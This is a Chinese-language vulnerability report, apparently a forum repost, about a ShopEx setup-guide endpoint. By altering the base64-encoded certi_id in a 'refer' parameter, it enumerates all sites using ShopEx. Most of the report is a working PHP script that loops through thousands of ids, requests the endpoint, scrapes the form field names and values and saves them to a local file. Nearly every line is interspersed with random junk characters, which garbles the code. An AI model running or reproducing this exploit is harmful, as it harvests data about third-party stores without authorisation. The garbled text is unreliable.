|
简要描述:
' A4 z2 C! z% e3 |) V2 CShopEx某接口缺陷,可遍历所有网站
& ^1 u$ U# P; ?" G6 I详细说明:
+ O: _$ S" O4 b! j+ r+ |问题出现在shopex 网店使用向导页面 8 R3 g. j6 D6 M( q+ X% n
3 ^8 D! J- s5 a: l; q
i" B' v, p& p) [6 u& M" P. k
& V9 F/ N3 M0 m( [% t+ zhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
( Z$ A+ v3 V4 X6 ?4 c# L- G: w% M9 p5 B$ P5 Q8 J7 P' Q! n8 d
2 O1 C8 z5 @* J/ X2 |/ \" ^4 {& _, H6 T) d" U
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}+ F$ q+ U5 C- u
, L1 }8 a% P" u, ? J& I2 M) Z+ ~+ j) l/ ?/ U4 M6 O- n
3 b7 j3 |. R# }" C$ C3 L* z6 v7 W我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
" T# C, @" n; B7 g8 l
- c9 |% @/ x" e/ E( ]* u) m8 X; U; a: G8 R5 m" f+ L! _% _8 ^
, D2 _. G+ w h5 r7 B$ o. |, `9 x
<?php' U" e; P# x; y/ U, s' G
* x8 W$ K! ~5 q3 |. l6 v for ($i=1; $i < 10000; $i++) { //遍历
( ^& n2 a' W5 ^+ H6 ?( h* T: }( p% e% S: Q6 R/ h7 D* N
ShowshopExD($i);
Q: g+ L2 {; a$ m+ u% a% o+ r9 |) r4 u4 ]* ^* y8 A" d# {) F9 r# p
}1 Q- s/ T' x! }# q7 b
; q* g* @/ J( K; l# E3 D4 k2 g' g function ShowshopExD($cid) {
4 l) l9 f# i3 s) o5 {$ {* \3 P0 l K5 u; z! Q+ }4 J
$url='http://guide.ecos.shopex.cn/step2.php';
# w, Q/ V! }1 y4 q4 ^9 e5 O& v- i; m+ ]/ ^
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
4 x" H3 X# |& t Z8 ^
& ~7 ^9 i8 n; O ]5 j3 k; A { $url = $url.'?refer='.$refer;- ?1 M) E, B/ }4 T& Q
' O8 y$ z0 |. G0 h( H $ch = curl_init($url);
+ y G) ~& z1 \# h' U/ Z0 g3 J1 K7 u( q* X7 c' L1 _
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( Y/ k: i8 ^ G. C2 j0 }2 O8 m B1 c
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
. o& O+ ?. V$ W& \. }; Q; m8 g. \8 L. K! d+ N+ H
$result = curl_exec($ch);* P/ G) j5 t8 ~; k$ z; s
4 h% B( ?- g3 F% F( M1 t, ]. `
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
% r( |4 Z7 {, b3 \+ Y A) H* C# _9 w1 Y y
if(strpos($result,$refer))
$ {: B8 d& M) N" B6 P; S
+ L3 ]# ?3 I! X {
" A$ L: {, x" E4 E* U2 k/ n/ a2 G; f* [) h& `
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( @! W1 R9 K5 v4 e' p$ J5 N8 H% p- ~, A8 T ?
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
% k* U9 y* W9 M# G' E
( D. n7 f3 F; z2 a/ l foreach ($value[1] as $key) {
0 c' l1 m, e8 t) d+ ]
9 t1 _ U0 G& @9 z: J/ Y* v preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res); p. p5 s; l8 r( y) c# U# Z
' Q. r: g% l% P, l2 e
echo $res[1][0].':'.$res[3][0]."\r\n";
8 ?6 W) J- d2 h! E
1 n# M; V; ?! e" @ $col =$res[1][0].':'.$res[3][0]."\r\n"; ; H* {1 d% T; I7 ]) ?+ G0 m
% r, h4 O4 }# w/ I7 @; N3 e6 _
fwrite($fp, $col, strlen($col));
. ]) h" S7 o& `9 J9 w! _+ p) I) M B5 {5 l& L1 j! P* K* `) V* z
}
4 P5 ^( j7 F" Q2 d! F" ~$ _9 J' d3 l8 `6 p e" N
echo '--------------------------------'."\r\n";! F3 |0 F5 h7 K& `* W
' m) O @+ x/ Q, i/ V fclose($fp); 5 C5 j/ ?8 D: z( h
1 D, ]2 h, W& B- T0 ^6 q( p: | }
; q: P: S3 S2 U: e6 l* r* O4 ~9 x4 J: }
flush();/ g. B. j% t6 ^$ P+ s
& y1 c6 @" D; @' X) a E curl_close($ch);2 D' m- D/ r. J# y# H
5 Z) Z6 [. }' ], o' Y7 y
}
" M. p/ L+ G0 {7 U0 X* L
0 u! I: ^$ O A5 k9 S7 |1 U3 \?>! ?8 }6 M. }# L/ z8 M4 i
漏洞证明:
: H0 T- H0 `# K" e6 w, O3 T3 Nhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg7 u. ^, `7 F% {* w, s5 E
refer换成其他加密方式
0 s" s/ }8 f0 z2 C/ R |
|